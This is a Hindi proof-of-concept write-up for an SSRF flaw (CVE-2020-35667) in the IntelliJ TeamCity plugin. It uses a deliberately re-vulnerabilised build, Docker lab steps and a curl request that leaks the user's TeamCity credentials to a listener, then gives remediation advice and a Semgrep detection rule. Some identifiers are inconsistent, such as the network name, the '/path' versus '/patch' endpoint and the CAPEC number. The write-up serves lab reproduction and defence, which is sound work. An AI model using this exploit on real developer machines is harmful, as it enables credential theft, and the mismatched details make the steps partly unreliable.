
CVE-2020-35667 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, IntelliJ IDEA TeamCity प्लगइन में एक SSRF भेद्यता जो अमान्य URL पैरामीटर के माध्यम से क्रेडेंशियल रिसाव की ओर ले जाती है।
अस्वीकरण नीचे दर्शाया गया संवेदनशील व्यवहार डिकंपाइल किए गए, पैच किए गए आर्टिफैक्ट्स से अनुभवजन्य रूप से सत्यापित किया गया था, जो एक ह्युरिस्टिक दृष्टिकोण से अनुमानित मूल भेद्यता से मिलता-जुलता है, क्योंकि मूल संवेदनशील प्लगइन रिलीज़ अब उपलब्ध नहीं है। रिपॉजिटरी में एक ज़िप है जिसमें न्यूनतम संपादित बिल्ड (पैच किए गए संस्करण से व्युत्पन्न) शामिल है जिसका उपयोग अलग-थलग प्रयोगशाला पुनरुत्पादन के लिए किया गया था।
यह CVE IntelliJ IDEA TeamCity इंटीग्रेशन प्लगइन से संबंधित है, जो IDE को TeamCity के साथ एकीकृत करने में सक्षम बनाता है, जो एक CI/CD ऑर्केस्ट्रेटर और आर्काइव है जो बिल्ड कॉन्फ़िगरेशन और अन्य आर्टिफैक्ट्स को संग्रहीत करता है, जो REST/RPC APIs के माध्यम से एक्सपोज़ किए जाते हैं।
प्लगइन स्थानीय रूप से कुछ HTTP एंडपॉइंट खोलता है, जो सामान्य परिदृश्य में उन घटकों के साथ कॉल किए जाते हैं जिन्हें प्लगइन ने GUI में जोड़ा है। अवलोकित सेटअप में यह स्थानीय सर्वर कोई एक्सेस-नियंत्रण परत लागू नहीं करता है और वास्तव में IDE और TeamCity सर्वर के बीच मिडलवेयर के रूप में कार्य करता है।
प्लगइन का सर्वर-साइड रिक्वेस्ट हैंडलर URL में उपयोगकर्ता-नियंत्रित पैरामीटर स्वीकार करता है और बिना पर्याप्त सत्यापन के पैच डाउनलोड URL बनाने के लिए इसका उपयोग करता है (CWE-918)। फिर प्लगइन क्राफ्ट किए गए URL पर एक HTTP GET जारी करता है, जिसमें लॉग-इन उपयोगकर्ता के प्रमाणीकरण हेडर होते हैं, TeamCity क्रेडेंशियल्स के साथ, क्योंकि TeamCity REST/RPC APIs को उजागर करता है।
यह मानते हुए कि हमलावर डेवलपर होस्ट तक पहुँच सकता है (जैसे फ़िशिंग, XSS), वह SSRF (CAPEC-6634) हमला निष्पादित कर सकता है, जिससे प्लगइन हमलावर-नियंत्रित होस्ट को अनुरोध भेजने के लिए मजबूर होता है, जो उपयोगकर्ता द्वारा नियंत्रित पैरामीटर में एन्कोडेड एंडपॉइंट पर सुन रहा होता है, जिससे क्रेडेंशियल लीक होते हैं। यह उदाहरण के लिए फुटहोल्ड या लेटरल मूवमेंट के लिए संदर्भ निर्धारित करता है।
Connection.run() → Connection.doHandle()
अनुरोध URI और पैरामीटर प्राप्त करता है, जो params मैप में पार्स किए जाते हैं (file पैरामीटर सहित)ActivatorBase.handle(res, params, ...) — res == "/patch" handleLoadPatch(params) को ट्रिगर करता हैhandleLoadPatch कार्य को शेड्यूल करता है और अंततः UrlUtil.createUrl(params, serverUrl) को कॉल करता है — यह वह घटक है जिसे मैंने संवेदनशील बनाने के लिए संशोधित किया है, file मान बिना सत्यापन के URL स्कीम:एड्रेस/पाथ के रूप में डाला जाता है, अन्य पैरामीटर जोड़े जाते हैंActivatorBase.downloadPatch(patchUrl, username, password) UsernamePasswordCredentials के साथ एक HttpClient बनाता है और client.executeMethod(get) को कॉल करता है, वास्तविक नेटवर्क अनुरोध patchUrl को जारी किया जाता हैमेरा सेटअप: TeamCity 2020.2.1, IntelliJ IDEA Community 2018.1.8, होस्ट: ARM64 Kali Linux 2025.3. सभी कंटेनर एयर-गैप्ड हैं
(वैकल्पिक) एक अलग-थलग डॉकर नेटवर्क बनाएँ
docker network create tc-nec
IntelliJ IDEA डाउनलोड करें और प्रारंभ करें, किसी भी प्रकार का एक अस्थायी प्रोजेक्ट बनाएँ। ज़िप फ़ाइल के रूप में दिया गया एक्सटेंशन लोड करें
TeamCity सर्वर कंटेनर बनाएँ और प्रारंभ करें: प्रासंगिक आर्टिफैक्ट tc-server फ़ोल्डर में दिए गए हैं, TeamCity डैशबोर्ड तक पहुँचें और एक अस्थायी TeamCity वातावरण और एक उपयोगकर्ता बनाएँ
docker build -t lab-teamcity ./pocartifacts/tc-server
docker run -d --name lab-teamcity \
--network tc-net \
-p 127.0.0.1:8111:8111 \
lab-teamcity
दुर्भावनापूर्ण HTTP सिंक बनाएँ और प्रारंभ करें: प्रासंगिक आर्टिफैक्ट http-listener फ़ोल्डर में दिए गए हैं
docker build -t lab-sink ./pocartifacts/http-listener
docker run -d --name lab-sink \
--network tc-net \
-p 127.0.0.1:8000:8000 \
lab-sink
(वैकल्पिक) विस्तृत निष्पादन विश्लेषण के लिए ट्रेस गंभीरता के साथ प्लगइन लॉगिंग सक्षम करें: IDE GUI → डिबग लॉग सेटिंग्स खोजें → #jetbrains.buildServer.activation पंक्ति जोड़ें → IDE पुनः प्रारंभ करें
स्थानीय TeamCity सर्वर से कनेक्ट करें: सेटिंग्स → टूल्स → TeamCity → सर्वर जोड़ें और इसे http://127.0.0.1:8111 पर इंगित करें, बनाए गए उपयोगकर्ता के साथ लॉगिन करें
निम्नलिखित अनुरोध भेजें
curl -Is http://localhost:63330/path?file=http://localhost:8000/&modId=&personal=false
सिंक सर्वर ने प्लगइन HTTP अनुरोध लॉग किया
docker exec lab-sink "cat sink.log"
सबसे पहले, मैं SDLC में सुरक्षा को शिफ्ट-लेफ्ट करने का सुझाव देना चाहूँगा, जिसमें मापने योग्य और कार्यान्वयन योग्य सुरक्षा आवश्यकताओं के विनिर्देशन के माध्यम से, OWASP ASVS आवश्यकताओं को दिशानिर्देश के रूप में रखते हुए, उसे फोर्क करके केवल एप्लिकेशन आवश्यकताओं से संबंधित कोड-संबंधी हिस्सों को अपनाया जाए। एप्लिकेशन सुरक्षा विशेषज्ञों को इन आवश्यकताओं को विशिष्ट कोड घटकों या यहाँ तक कि अलग-अलग स्निपेट्स से मैप करना चाहिए। डेवलपर्स को प्रशिक्षित किया जाना चाहिए कि इन सुरक्षा आवश्यकताओं को कैसे लागू किया जाए: अपनी भाषा/फ्रेमवर्क की अंतर्निहित सुरक्षा तंत्रों को जानें। साथ में उन्हें एक मैट्रिक्स पर काम करना चाहिए जो प्रत्येक आवश्यकता को स्वामित्व पैकेज, क्लास या फ़ंक्शन से मैप करता है और प्रासंगिक स्वीकृति जाँच (यूनिट टेस्ट, SAST नियम) सूचीबद्ध करता है, यह फोर्क किए गए ASVS सेट के लिए कोडबेस की अनुरूपता सुनिश्चित करेगा।
संपूर्ण डिलीवरी पाइपलाइन में कई सुरक्षा समीक्षा गेट एकीकृत किए जाने चाहिए। सीधे डेवलपर मशीन पर IDE प्लगइन और प्री-कमिट git हुक्स के माध्यम से, CI पाइपलाइन पूर्ण स्कैन और अनुकूलित वातावरण (निरंतर तैनाती) में फ़ज़िंग-आधारित DAST तक। किसी भी त्रुटि पर बिल्ड/डिलीवरी विफल होनी चाहिए। इन स्कैन से प्राप्त डेटा को लगातार एकत्र किया जाना चाहिए, प्रक्रिया को परिष्कृत करने और झूठे सकारात्मक/सही नकारात्मक को समाप्त करने के लिए समीक्षा की जानी चाहिए।
यह प्लगइन में उपयोग की जाने वाली http-client लाइब्रेरी के साथ Java में, उपयोगकर्ता-नियंत्रित पैरामीटर सैनिटाइज़ेशन की कमी वाले URL निर्माण का पता लगाने के लिए एक नमूना Semgrep नियम है
rules:
- id: java-ssrf-url-from-params
patterns:
- pattern-either:
- pattern: |
$A = params.get($P)
...
$URLSTRING = $A + $REST
...
new URL($URLSTRING)
- pattern: |
$A = request.getParameter($P)
...
$URLSTRING = $PREFIX + $A + $SUFFIX
...
new URL($URLSTRING)
- pattern: new URL(params.get($P))
- pattern: new URL(request.getParameter($P))
- pattern-not: "// semgrep:skip"
message: |
Possible SSRF / unsafe URL construction: URL is built from request parameters without validation.
Validate/whitelist scheme and host; canonicalize path; do not forward credentials to untrusted hosts.
languages: [java]
severity: ERROR
metadata:
cwe: "CWE-918"
tags: ["security", "ssrf", "input-validation"]